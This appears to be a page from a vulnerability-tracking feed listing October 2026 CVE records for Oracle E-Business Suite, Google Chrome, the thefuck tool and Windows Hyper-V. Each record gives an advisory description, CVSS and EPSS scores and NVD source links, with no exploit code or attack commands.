Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-101683
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101683).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101683&date=2026-10-25).
Sources:
NVD CVE-2026-101683: https://nvd.nist.gov/vuln/detail/CVE-2026-101683
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101683&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-101682
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101682).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101682&date=2026-10-25).
Sources:
NVD CVE-2026-101682: https://nvd.nist.gov/vuln/detail/CVE-2026-101682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101682&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-101681
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101681).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101681&date=2026-10-25).
Sources:
NVD CVE-2026-101681: https://nvd.nist.gov/vuln/detail/CVE-2026-101681
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101681&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).
https://kevwire.com/record/CVE-2026-101680
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform). (Oct 20, 2026).
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101680).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101680&date=2026-10-25).
Sources:
NVD CVE-2026-101680: https://nvd.nist.gov/vuln/detail/CVE-2026-101680
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101680&date=2026-10-25
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).
https://kevwire.com/record/CVE-2026-101676
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues). (Oct 20, 2026).
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101676).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101676&date=2026-10-25).
Sources:
NVD CVE-2026-101676: https://nvd.nist.gov/vuln/detail/CVE-2026-101676
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101676&date=2026-10-25
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101672
Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Call Center Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Call Center Technology. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101672).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101672&date=2026-10-25).
Sources:
NVD CVE-2026-101672: https://nvd.nist.gov/vuln/detail/CVE-2026-101672
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101672&date=2026-10-25
Vulnerability in the Oracle Call Center Technology product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Call Center Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Call Center Technology. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101660
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101660).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101660&date=2026-10-25).
Sources:
NVD CVE-2026-101660: https://nvd.nist.gov/vuln/detail/CVE-2026-101660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101660&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).
https://kevwire.com/record/CVE-2026-101640
Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience). (Oct 20, 2026).
Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101640).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101640&date=2026-10-25).
Sources:
NVD CVE-2026-101640: https://nvd.nist.gov/vuln/detail/CVE-2026-101640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101640&date=2026-10-25
Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101634
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Mobile Field Service. CVSS 3.1 Base Score 9.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101634).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101634&date=2026-10-25).
Sources:
NVD CVE-2026-101634: https://nvd.nist.gov/vuln/detail/CVE-2026-101634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101634&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Mobile Field Service. CVSS 3.1 Base Score 9.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113058
Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113058).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113058&date=2026-10-25).
Sources:
NVD CVE-2026-113058: https://nvd.nist.gov/vuln/detail/CVE-2026-113058
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113058&date=2026-10-25
Use after free in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113059
Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113059).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113059&date=2026-10-25).
Sources:
NVD CVE-2026-113059: https://nvd.nist.gov/vuln/detail/CVE-2026-113059
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113059&date=2026-10-25
Memory corruption in Sensor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113060
Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113060).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113060&date=2026-10-25).
Sources:
NVD CVE-2026-113060: https://nvd.nist.gov/vuln/detail/CVE-2026-113060
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113060&date=2026-10-25
Improper input validation in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113073
Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113073).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113073&date=2026-10-25).
Sources:
NVD CVE-2026-113073: https://nvd.nist.gov/vuln/detail/CVE-2026-113073
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113073&date=2026-10-25
Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113075
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113075).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113075&date=2026-10-25).
Sources:
NVD CVE-2026-113075: https://nvd.nist.gov/vuln/detail/CVE-2026-113075
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113075&date=2026-10-25
Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py
https://kevwire.com/record/CVE-2026-95168
An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py (Oct 20, 2026).
An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95168).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95168&date=2026-10-25).
Sources:
NVD CVE-2026-95168: https://nvd.nist.gov/vuln/detail/CVE-2026-95168
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95168&date=2026-10-25
An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-102214
Use after free in Windows Hyper-V allows an authorized attacker to execute code locally. (Oct 13, 2026).
Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.
